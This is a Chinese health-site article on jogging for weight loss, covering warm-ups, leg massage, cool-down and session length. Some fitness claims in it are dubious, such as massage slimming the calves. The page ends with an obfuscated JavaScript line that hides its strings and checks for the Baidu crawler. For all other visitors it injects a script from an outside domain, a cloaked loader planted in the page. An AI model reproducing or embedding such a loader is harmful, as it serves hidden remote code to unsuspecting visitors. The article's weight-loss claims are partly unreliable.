当前位置:首页 > 减肥 > 运动减肥 > 正文

慢跑对减肥能有用吗

2017-04-21 15:11:07  来源:360常识网   热度:
导语:跑步是一种健康而又有效的减肥方法,只要是你掌握了跑步的技巧,每天坚持跑步,但是很多人会问快跑减肥好还是慢跑好呢,但是慢跑是老人,孩

跑步是一种健康而又有效的减肥方法,只要是你掌握了跑步的技巧,每天坚持跑步,但是很多人会问快跑减肥好还是慢跑好呢,但是慢跑是老人,孩子,年轻人都适合锻炼的,那么慢跑对减肥效果好吗,其实慢跑长期坚持肯定会达到很好的效果,现在就由小编来介绍一下慢跑的好处

一慢跑瘦身的效果好,能燃烧很多热量,不过也有许多注意事项。但是慢跑要加强热身运动,增强韧带弹性、关节灵活度,不然稍不小心就会造成肌肉拉伤、扭伤等运动伤害

二不少人担心跑步会让小腿变粗,其实只要在跑完步后进行5-10分钟按摩,放松腿部肌肉,这样就小腿就不会变粗,还会越来越细呢。如果情况允许,在睡觉前用热水泡脚,能有效消除水肿等问题,达到瘦腿的功效。

三慢跑后一定要进行舒缓运动,因为当激烈的运动后,多量血液会集中在下肢和肌肉,若立刻停止,没有搭配舒缓运动,则会影响血液回流到心脏,而使得血液滞留在肌肉,无法有效排除乳酸,容易发生心脏和脑部血液供给不足,而产生头晕、昏倒现象。

四慢跑则属于简易的有氧运动,能活动全身肌肉,促使身体燃烧脂肪,达到瘦身效果,但必须持续20分钟以上,才会燃烧脂肪。不过瘦身这回事是欲速则不达,且要持之以恒,建议每周慢跑2~3次,每次最少30分钟,瘦身效果每人不一。

这就是慢跑的一些好处,不但可以起到瘦身减肥有好处,而且还属于有氧运动,活动全身的肌肉。是要想瘦身就一定要持之以恒,欲速而不达,瘦身的结果也是不同地体质效果也是不一样的,慢跑后也一定要进行舒缓运动,不然会出现头昏脑涨的现象

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}